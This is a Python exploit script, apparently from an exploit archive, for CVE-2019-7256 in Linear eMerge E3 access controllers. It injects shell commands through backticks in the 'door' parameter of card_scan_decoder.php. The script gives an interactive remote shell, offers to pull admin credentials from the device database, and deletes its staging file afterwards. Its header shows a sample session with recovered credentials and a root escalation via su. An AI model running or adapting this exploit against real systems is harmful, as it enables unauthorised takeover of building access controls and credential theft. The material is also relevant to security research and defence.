Linear eMerge E3 versions 1.00-06 and below unauthenticated command injection remote root exploit that leverages card_scan_decoder.php.
3f2a4bb626b7ff508605bf3174fcdd6c716c73eb16236ac42078e9021483f1ad
#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan_decoder.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# By Gjoko 'LiquidWorm' Krstic
#
#########################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot2.py 192.168.1.2
# Do you want me to try and get the web front-end credentials? (y/n) y
# ID='admin',Password='MakeLoveNotWar!'
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ cat /etc/version
# Software Version: 1.00.03
# Image: nxgcpub-image
# Built by: jenkins
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password:
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
#########################################################################
import requests
import time####
import sys#####
import os######
import re######
piton = os.path.basename(sys.argv[0])
if len(sys.argv) < 2:
print '''
.....
.e$$$$$$$$$$$$$$e.
z$$ ^$$$$$$$$$$$$$$$$$.
.$$$* J$$$$$$$$$$$$$$$$$$$e
.$" .$$$$$$$$$$$$$$$$$$$$$$*-
.$ $$$$$$$$$$$$$$$$***$$ .ee"
z**$$ $$r ^**$$$$$$$$$*" .e$$$$$$*"
" -\e$$ 4$$$$. .ze$$$""""
4 z$$$$$ $$$$$$$$$$$$$$$$$$$$"
$$$$$$$$ .$$$$$$$$$$$**$$$$*"
z$$" $$ $$$$P*"" J$*$$c
$$" $$F .$$$ $$ ^$$
$$ *$$c.z$$$ $$ $$
$P $$$$$$$ 4$F 4$
dP *$$$" $$ '$r
.$ J$" $"
$ $P 4$
F $$ 4$
4$% 4$
$$ 4$
d$" $$
$P $$
$$ $$
4$% $$
$$ $$
d$ $$
$F "3
r=4e=" ... ..rf . ""%
$**$*"^""=..^4*=4=^"" ^"""
'''
print '\n\x20\x20[+] Linear eMerge E3 Remote Root Exploit'
print '\x20\x20[-] by lqwrm (c) 2019'
print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
sys.exit()
ipaddr = sys.argv[1]
creds = raw_input('Do you want me to try and get the web front-end credentials? (y/n) ')
if creds.strip() == 'y':
frontend = '''grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID'''
requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+frontend+' > test.txt%60')
showme = requests.get('http://'+ipaddr+'/test.txt')
print showme.text
while True:
try:
cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
execute = requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+cmd+' > test.txt%60')
#time.sleep(1);
readreq = requests.get('http://'+ipaddr+'/test.txt')
print readreq.text
if cmd.strip() == 'exit':
print "[+] Erasing read stage file and exiting..."
requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&ReaderNo=%60rm test.txt%60')
print "[+] Done. Ba-bye!\n"
break
else: continue
except Exception:
break
sys.exit()